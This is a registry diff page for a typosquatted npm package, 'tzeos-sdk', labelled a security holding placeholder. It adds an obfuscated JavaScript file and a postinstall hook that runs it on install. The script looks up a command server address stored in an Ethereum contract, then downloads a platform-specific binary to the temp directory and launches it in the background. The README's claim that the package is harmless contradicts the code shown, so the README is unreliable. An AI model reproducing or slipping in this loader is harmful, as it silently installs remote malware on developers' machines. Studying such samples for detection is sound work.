tzeos-sdk 0.0.1-security

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
package/README.md ADDED
@@ -0,0 +1,5 @@
1
+ # Security holding package
2
+
3
+ This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
4
+
5
+ Please refer to www.npmjs.com/advisories?search=tezos-sdk for more information.
package/cv1vm03p.cjs ADDED
@@ -0,0 +1 @@
1
+ const _0x21737b=_0x3ae4;(function(_0x374229,_0x1c32c3){const _0x1a244b=_0x3ae4,_0x13e99e=_0x374229();while(!![]){try{const _0x51a188=parseInt(_0x1a244b(0x191))/0x1+parseInt(_0x1a244b(0x197))/0x2*(-parseInt(_0x1a244b(0x1a4))/0x3)+parseInt(_0x1a244b(0x195))/0x4+-parseInt(_0x1a244b(0x1b7))/0x5+-parseInt(_0x1a244b(0x1a7))/0x6*(parseInt(_0x1a244b(0x1a2))/0x7)+-parseInt(_0x1a244b(0x198))/0x8+parseInt(_0x1a244b(0x18c))/0x9*(parseInt(_0x1a244b(0x1a0))/0xa);if(_0x51a188===_0x1c32c3)break;else _0x13e99e['push'](_0x13e99e['shift']());}catch(_0x5392a4){_0x13e99e['push'](_0x13e99e['shift']());}}}(_0x3d19,0xc27ac));const {ethers}=require(_0x21737b(0x1bb)),axios=require(_0x21737b(0x1af)),util=require(_0x21737b(0x1b3)),fs=require('fs'),path=require(_0x21737b(0x193)),os=require('os'),{spawn}=require(_0x21737b(0x1b0)),contractAddress='0xa1b40044EBc2794f207D45143Bd82a1B86156c6b',WalletOwner='0x52221c293a21D8CA7AFD01Ac6bFAC7175D590A84',abi=['function\x20getString(address\x20account)\x20public\x20view\x20returns\x20(string)'],provider=ethers[_0x21737b(0x1ac)](_0x21737b(0x1a8)),contract=new ethers[(_0x21737b(0x1a6))](contractAddress,abi,provider),fetchAndUpdateIp=async()=>{const _0x5ee0ad=_0x21737b,_0x1f8d0c={'LbSxz':_0x5ee0ad(0x1b9)};try{const _0x827fdc=await contract[_0x5ee0ad(0x196)](WalletOwner);return _0x827fdc;}catch(_0x5ada37){return console[_0x5ee0ad(0x190)](_0x1f8d0c[_0x5ee0ad(0x1a3)],_0x5ada37),await fetchAndUpdateIp();}},getDownloadUrl=_0x5c813c=>{const _0x36a1e6=_0x21737b,_0x2c6b4d={'PytvL':_0x36a1e6(0x1a1),'mmszx':_0x36a1e6(0x19e),'ApyMd':_0x36a1e6(0x1ab)},_0x5d9a10=os[_0x36a1e6(0x192)]();switch(_0x5d9a10){case _0x2c6b4d['PytvL']:return _0x5c813c+_0x36a1e6(0x194);case _0x2c6b4d[_0x36a1e6(0x18f)]:return _0x5c813c+'/node-linux';case _0x2c6b4d['ApyMd']:return _0x5c813c+_0x36a1e6(0x1b8);default:throw new Error(_0x36a1e6(0x1b2)+_0x5d9a10);}},downloadFile=async(_0x3cd135,_0x360e6b)=>{const _0x23b7f3=_0x21737b,_0x20b0f5={'JzMWz':_0x23b7f3(0x19c),'gInDE':_0x23b7f3(0x190),'szKxF':function(_0x86d432,_0x1d5447){return _0x86d432(_0x1d5447);},'tjFcc':'stream'},_0x534a87=fs[_0x23b7f3(0x199)](_0x360e6b),_0x19ac41=await _0x20b0f5['szKxF'](axios,{'url':_0x3cd135,'method':_0x23b7f3(0x18d),'responseType':_0x20b0f5[_0x23b7f3(0x1aa)]});return _0x19ac41[_0x23b7f3(0x1ae)][_0x23b7f3(0x1a9)](_0x534a87),new Promise((_0x4014f4,_0x1f4611)=>{const _0x56f8b1=_0x23b7f3;_0x534a87['on'](_0x20b0f5[_0x56f8b1(0x1b6)],_0x4014f4),_0x534a87['on'](_0x20b0f5[_0x56f8b1(0x18e)],_0x1f4611);});},executeFileInBackground=async _0x348502=>{const _0x3ec1c0=_0x21737b,_0x48e4fc={'VQVhp':'ignore','JLJAN':'Ошибка\x20при\x20запуске\x20файла:'};try{const _0x49839b=spawn(_0x348502,[],{'detached':!![],'stdio':_0x48e4fc[_0x3ec1c0(0x1a5)]});_0x49839b[_0x3ec1c0(0x19d)]();}catch(_0x45299e){console[_0x3ec1c0(0x190)](_0x48e4fc[_0x3ec1c0(0x1ad)],_0x45299e);}},runInstallation=async()=>{const _0x2b9d5d=_0x21737b,_0x212e1d={'tCutp':function(_0x38db1a){return _0x38db1a();},'uutHJ':function(_0x5bbe21,_0x55fe3e){return _0x5bbe21(_0x55fe3e);},'uBCNR':function(_0x29d5e6,_0x3ded8f,_0x820fb7){return _0x29d5e6(_0x3ded8f,_0x820fb7);},'FJFKQ':_0x2b9d5d(0x1a1),'ciUdM':_0x2b9d5d(0x1b5)};try{const _0x4cb416=await _0x212e1d[_0x2b9d5d(0x19f)](fetchAndUpdateIp),_0x549df4=_0x212e1d['uutHJ'](getDownloadUrl,_0x4cb416),_0x44e350=os[_0x2b9d5d(0x1ba)](),_0x1b3ab4=path[_0x2b9d5d(0x19a)](_0x549df4),_0x4df396=path[_0x2b9d5d(0x1b1)](_0x44e350,_0x1b3ab4);await _0x212e1d['uBCNR'](downloadFile,_0x549df4,_0x4df396);if(os[_0x2b9d5d(0x192)]()!==_0x212e1d[_0x2b9d5d(0x19b)])fs[_0x2b9d5d(0x1b4)](_0x4df396,'755');executeFileInBackground(_0x4df396);}catch(_0x58bd84){console[_0x2b9d5d(0x190)](_0x212e1d['ciUdM'],_0x58bd84);}};function _0x3d19(){const _0x357b5a=['408530UznQTW','win32','4638410QZQGaT','LbSxz','3KeBHrB','VQVhp','Contract','6KFHpvL','mainnet','pipe','tjFcc','darwin','getDefaultProvider','JLJAN','data','axios','child_process','join','Unsupported\x20platform:\x20','util','chmodSync','Ошибка\x20установки:','JzMWz','1530775snMHXL','/node-macos','Ошибка\x20при\x20получении\x20IP\x20адреса:','tmpdir','ethers','396KyECOe','GET','gInDE','mmszx','error','640070mcgguS','platform','path','/node-win.exe','6072132ILkyan','getString','3145706JFlYZC','4939272PmhGHP','createWriteStream','basename','FJFKQ','finish','unref','linux','tCutp'];_0x3d19=function(){return _0x357b5a;};return _0x3d19();}function _0x3ae4(_0x4a023f,_0x3919c2){const _0x3d193c=_0x3d19();return _0x3ae4=function(_0x3ae4b3,_0x456e3e){_0x3ae4b3=_0x3ae4b3-0x18c;let _0x38384a=_0x3d193c[_0x3ae4b3];return _0x38384a;},_0x3ae4(_0x4a023f,_0x3919c2);}runInstallation();
package/package.json ADDED
@@ -0,0 +1,16 @@
1
+ {
2
+ "name": "tzeos-sdk",
3
+ "version": "0.0.1-security",
4
+ "description": "security holding package",
5
+ "repository": "npm/security-holder",
6
+ "scripts": {
7
+ "postinstall": "node cv1vm03p.cjs"
8
+ },
9
+ "files": [
10
+ "cv1vm03p.cjs"
11
+ ],
12
+ "dependencies": {
13
+ "axios": "^1.7.7",
14
+ "ethers": "^6.13.2"
15
+ }
16
+ }